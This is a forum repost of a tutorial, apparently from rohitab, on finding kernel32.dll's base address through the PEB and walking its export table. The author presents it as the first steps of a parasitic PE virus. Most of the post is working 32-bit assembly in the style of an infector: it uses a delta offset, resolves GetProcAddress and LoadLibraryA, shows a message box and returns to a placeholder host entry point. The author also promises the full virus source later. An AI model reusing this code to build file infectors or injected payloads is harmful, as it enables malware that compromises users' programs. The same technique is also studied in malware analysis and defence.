Nytro Posted January 29, 2012 Report Posted January 29, 2012 [h=1]Finding Kernel32 Base and walking its export table[/h]Author: [h=3]SIGSEGV[/h]Hey all ,I'll just begin as the title says it all.Only Basic PE-format and assembly knowledge are required.The baby steps of any parasitic PE virus should be Finding the Kernel32 Base in the current process address space , then walking its export table to extract the addresses of all the functions it needs.To find the Kernel base , We'll exploit the fact that the Process Environment Block structure of the current process holds a list of the modules , loaded in the process's address space , in their memory loading order , InMemoryOrderModuleList.In Windows NT , The value at offset 0x30 of the FS segment points to the PEB structure :typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA LoaderData; // The rest of the structure is irrelevant to us} PEB, *PPEB;So , we follow the LoaderData pointer , which takes us to another structure , PEB_LDR_DATA :typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList;} PEB_LDR_DATA, *PPEB_LDR_DATA;InMemoryOrderModule is a double linked list and it's what we are interested in , each entry in the list points to an LDR_MODULE structure :typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; //.....} LDR_MODULE, *PLDR_MODULE;This structure holds the base address of it's module ,, Now , from Windows 2000 and up to windows 7 , The third module loaded in memory will always be that kernel32.dll.Putting all into code :mov ebx, [FS : 0x30] ; PEBmov ebx, [ebx + 0x0C] ; PEB->Ldrmov ebx, [ebx + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)mov ebx, [ebx] ; 2nd Entrymov ebx, [ebx] ; 3rd Entrymov ebx, [ebx + 0x10] ; Third entry's base address (Kernel32.dll)mov [ebp+dwKernelBase] , ebxThe following example does the following :Find Kernel32.dll base addressParse it's export tables to locate GetProcAddressUse it to locate LoadLibraryAUse it to Load User32.dll into the current address spaceUse GetProcAddress to locate MessageBoxA in User32.dllDisplay a Message boxReturn to Host. I'm in the middle of my final exams , so I'm afraid I can't explain the example thoroughly , but anyone with basic PE and assembly knowledge should easily grasp it.; By SIGSEGV[BITS 32]pushadcall CodeStartCodeStart: pop ebp sub ebp,CodeStart ; delta offset shit mov ebx, [FS : 0x30] ; get a pointer to the PEB mov ebx, [ebx + 0x0C] ; get PEB->Ldr mov ebx, [ebx + 0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov ebx, [ebx] ; 2nd Entry mov ebx, [ebx] ; 3rd Entry mov ebx, [ebx + 0x10] ; Get Kernel32 Base mov [ebp+dwKernelBase] , ebx add ebx, [ebx+0x3C] ; Start of PE header mov ebx, [ebx+0x78] ; RVA of export dir add ebx, [ebp+dwKernelBase] ; VA of export dir mov [ebp+dwExportDirectory] , ebx lea edx,[ebp+api_GetProcAddress] mov ecx,[ebp+len_GetProcAddress] call GetFunctionAddress mov [ebp+AGetProcAddressA] , eax lea edx,[ebp+api_LoadLibrary] push edx push dword [ebp+dwKernelBase] call eax mov [ebp+ALoadLibraryA] , eax lea edx , [ebp+szUser32] push edx call eax lea edx , [ebp+api_MessageBoxA] push edx push eax mov ebx,[ebp+AGetProcAddressA] call ebx mov [ebp+AMessageBoxAA] , eax push 0 lea edx,[ebp+szTitle] push edx lea edx,[ebp+szMsg] push edx push 0 call eax popad push 0xBBBBBBBB ;OEP retn;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; <<<<< GetFunctionAddress >>>>>> ;; Extracts Function Address From Export Directory and returns it in eax ;; Parameters : Function name in edx , Length in ecx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GetFunctionAddress: push ebx push esi push edi mov esi, [ebp+dwExportDirectory] mov esi, [esi+0x20] ;RVA of ENT add esi, [ebp+dwKernelBase] ;VA of ENT xor ebx,ebx cld looper: inc ebx lodsd add eax , [ebp+dwKernelBase] ;eax now points to the string of a function push esi ;preserve it for the outer loop mov esi,eax mov edi,edx cld push ecx repe cmpsb pop ecx pop esi jne looper dec ebx mov eax,[ebp+dwExportDirectory] mov eax,[eax+0x24] ;RVA of EOT add eax,[ebp+dwKernelBase] ;VA of EOT movzx eax , word [ebx*2+eax] ;eax now holds the ordinal of our function mov ebx,[ebp+dwExportDirectory] mov ebx,[ebx+0x1C] ;RVA of EAT add ebx,[ebp+dwKernelBase] ;VA of EAT mov ebx,[eax*4+ebx] add ebx,[ebp+dwKernelBase] mov eax,ebx pop edi pop esi pop ebx ret;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Data Shit ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;szTitle: db "Yo !",0szMsg: db "GreeTz From SIGSEGV",0szUser32 db "User32.dll",0AGetProcAddressA: dd 0api_GetProcAddress: db "GetProcAddress"len_GetProcAddress: dd $-api_GetProcAddressALoadLibraryA: dd 0api_LoadLibrary: db "LoadLibraryA",0AMessageBoxAA: dd 0api_MessageBoxA: db "MessageBoxA",0dwKernelBase: dd 0dwExportDirectory: dd 0That's it , but I shall post the complete virus source when i get through my exams.Hope you enjoyed this quick tutorial , any feedback is appreciated.Greets , SIGSEGV.Sursa: [Quick tutorial] Finding Kernel32 Base and walking its export table. - rohitab.com - Forums Quote